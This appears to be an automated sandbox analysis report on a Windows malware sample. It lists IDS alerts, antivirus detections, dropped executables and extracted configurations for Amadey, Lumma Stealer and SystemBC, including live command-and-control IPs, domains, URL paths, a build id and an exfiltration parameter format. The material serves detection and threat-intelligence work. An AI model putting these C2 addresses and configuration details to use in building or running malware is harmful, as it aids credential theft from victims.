2024-12-20T17:43:54.083259+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49795	104.21.91.209	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:43:29.843109+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49735	172.67.131.246	443	TCP
2024-12-20T17:43:38.715197+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49744	172.67.197.170	443	TCP
2024-12-20T17:43:49.572450+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49780	104.21.23.76	443	TCP
2024-12-20T17:43:56.149199+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49803	104.21.91.209	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:43:35.874833+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49740	172.67.197.170	443	TCP
2024-12-20T17:43:37.886912+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49744	172.67.197.170	443	TCP
2024-12-20T17:43:40.741189+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49752	172.67.197.170	443	TCP
2024-12-20T17:43:43.556462+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49765	172.67.197.170	443	TCP
2024-12-20T17:43:46.053647+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49774	172.67.197.170	443	TCP
2024-12-20T17:43:50.096623+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49783	172.67.197.170	443	TCP
2024-12-20T17:43:53.482304+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49796	172.67.197.170	443	TCP
2024-12-20T17:43:57.164840+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49810	172.67.197.170	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:43:26.984814+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.6	49733	172.67.131.246	443	TCP
2024-12-20T17:43:29.023332+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.6	49735	172.67.131.246	443	TCP
2024-12-20T17:43:31.773680+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.6	49737	172.67.131.246	443	TCP
2024-12-20T17:43:33.917200+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.6	49738	172.67.131.246	443	TCP
2024-12-20T17:43:36.087951+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.6	49743	172.67.131.246	443	TCP
2024-12-20T17:43:38.633600+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.6	49746	172.67.131.246	443	TCP
2024-12-20T17:43:41.281421+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.6	49758	172.67.131.246	443	TCP
2024-12-20T17:43:45.013133+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.6	49768	172.67.131.246	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:43:46.525273+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.6	49775	104.21.23.76	443	TCP
2024-12-20T17:43:48.514533+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.6	49780	104.21.23.76	443	TCP
2024-12-20T17:43:52.635334+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.6	49792	104.21.23.76	443	TCP
2024-12-20T17:43:55.602353+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.6	49804	104.21.23.76	443	TCP
2024-12-20T17:43:58.319836+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.6	49814	104.21.23.76	443	TCP
2024-12-20T17:44:01.430271+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.6	49823	104.21.23.76	443	TCP
2024-12-20T17:44:03.975683+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.6	49833	104.21.23.76	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:43:17.291106+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49731	185.215.113.43	80	TCP
2024-12-20T17:43:27.952868+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49734	185.215.113.43	80	TCP
2024-12-20T17:43:37.255650+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49741	185.215.113.43	80	TCP
2024-12-20T17:43:44.101335+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49766	185.215.113.43	80	TCP
2024-12-20T17:43:52.827331+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49791	185.215.113.43	80	TCP
2024-12-20T17:44:05.146251+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49837	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:43:34.333389+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.6	56681	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:43:34.106031+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.6	60776	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lossekniyyt .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:43:25.419416+0100	2058424	1	Domain Observed Used for C2 Detected	192.168.2.6	51460	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:43:44.974731+0100	2058397	1	Domain Observed Used for C2 Detected	192.168.2.6	52107	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:43:33.966492+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.6	56392	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:43:39.491237+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49746	172.67.131.246	443	TCP
2024-12-20T17:43:41.680268+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49752	172.67.197.170	443	TCP
2024-12-20T17:43:53.641201+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49792	104.21.23.76	443	TCP
2024-12-20T17:44:02.431143+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49825	104.21.91.209	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:43:06.881687+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49727	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:43:15.943397+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49729	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:43:11.254843+0100	2803305	3	Unknown Traffic	192.168.2.6	49730	194.126.174.112	80	TCP
2024-12-20T17:43:18.738276+0100	2803305	3	Unknown Traffic	192.168.2.6	49732	31.41.244.11	80	TCP
2024-12-20T17:43:29.406816+0100	2803305	3	Unknown Traffic	192.168.2.6	49736	31.41.244.11	80	TCP
2024-12-20T17:43:38.826571+0100	2803305	3	Unknown Traffic	192.168.2.6	49745	31.41.244.11	80	TCP
2024-12-20T17:43:45.558171+0100	2803305	3	Unknown Traffic	192.168.2.6	49769	31.41.244.11	80	TCP
2024-12-20T17:43:47.137399+0100	2803305	3	Unknown Traffic	192.168.2.6	49776	194.126.174.112	80	TCP
2024-12-20T17:43:54.271986+0100	2803305	3	Unknown Traffic	192.168.2.6	49799	31.41.244.11	80	TCP
2024-12-20T17:44:01.673172+0100	2803305	3	Unknown Traffic	192.168.2.6	49824	194.126.174.112	80	TCP
2024-12-20T17:44:06.602047+0100	2803305	3	Unknown Traffic	192.168.2.6	49843	31.41.244.11	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1018695001\9a2c1b4302.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000018.00000002.3676371784.0000000003151000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: SystemBC {"HOST1": "wodresomdaymomentum.org", "HOST2": "wodresomdaymomentum.org"}
Source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["aspecteirs.lat", "grannyejh.lat", "energyaffai.lat", "rapeflowwj.lat", "necklacebudi.lat", "discokeyus.lat", "lossekniyyt.click", "crosshuaht.lat", "sustainskelet.lat"], "Build id": "9Z1cyc--"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\wtkb\qcwew.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\Bestsoundeffectives[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Target.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\10001300101\Autosoundmick.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\Baursystempower[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\Autosoundmick[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018695001\9a2c1b4302.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack	String decryptor: rapeflowwj.lat
Source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack	String decryptor: crosshuaht.lat
Source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack	String decryptor: sustainskelet.lat
Source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack	String decryptor: aspecteirs.lat
Source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack	String decryptor: energyaffai.lat
Source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack	String decryptor: necklacebudi.lat
Source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack	String decryptor: discokeyus.lat
Source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack	String decryptor: grannyejh.lat
Source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack	String decryptor: lossekniyyt.click
Source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack	String decryptor: TeslaBrowser/5.5
Source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack	String decryptor: - Screen Resoluton:
Source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack	String decryptor: - Physical Installed Memory:
Source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack	String decryptor: Workgroup: -
Source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack	String decryptor: 9Z1cyc--

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.6:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.6:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.6:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.6:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.6:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.6:49840 version: TLS 1.2

Source:	Binary string: C:\EF5\Source\EntityFramework\obj\Release\EntityFramework.pdb source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JnTdehbm.pdb source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3330028372.0000000005BF0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Baursystempower.exe, 00000007.00000002.3356226325.0000000005820000.00000004.08000000.00040000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.0000000003893000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000C.00000002.3499306227.0000000003851000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 0000000F.00000002.3595769580.0000000003D41000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 0000000F.00000002.3595769580.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004263000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: sourceFinish_setup.pdb source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Baursystempower.exe, 00000007.00000002.3356226325.0000000005820000.00000004.08000000.00040000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.0000000003893000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000C.00000002.3499306227.0000000003851000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 0000000F.00000002.3595769580.0000000003D41000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 0000000F.00000002.3595769580.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004263000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3329637273.0000000005A80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Baursystempower.exe, 00000007.00000002.3350482132.0000000003F8D000.00000004.00000800.00020000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3354109785.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.000000000383C000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004151000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: .PDbPropertyValues_CannotGetValuesForState`/FDbPropertyValues_CannotSetNullValue source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: protobuf-net.pdb source: Baursystempower.exe, 00000007.00000002.3350482132.0000000003F8D000.00000004.00000800.00020000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3354109785.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.000000000383C000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004151000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49727 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49729
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49731 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058424 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lossekniyyt .click) : 192.168.2.6:51460 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.6:49733 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49734 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.6:49735 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.6:49737 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.6:56392 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.6:56681 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.6:60776 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.6:49738 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.6:49743 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49740 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.6:49746 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49752 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49765 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.6:49768 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49774 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058397 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click) : 192.168.2.6:52107 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49766 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.6:49775 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.6:49780 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49783 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49791 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49796 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.6:49804 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49810 -> 172.67.197.170:443
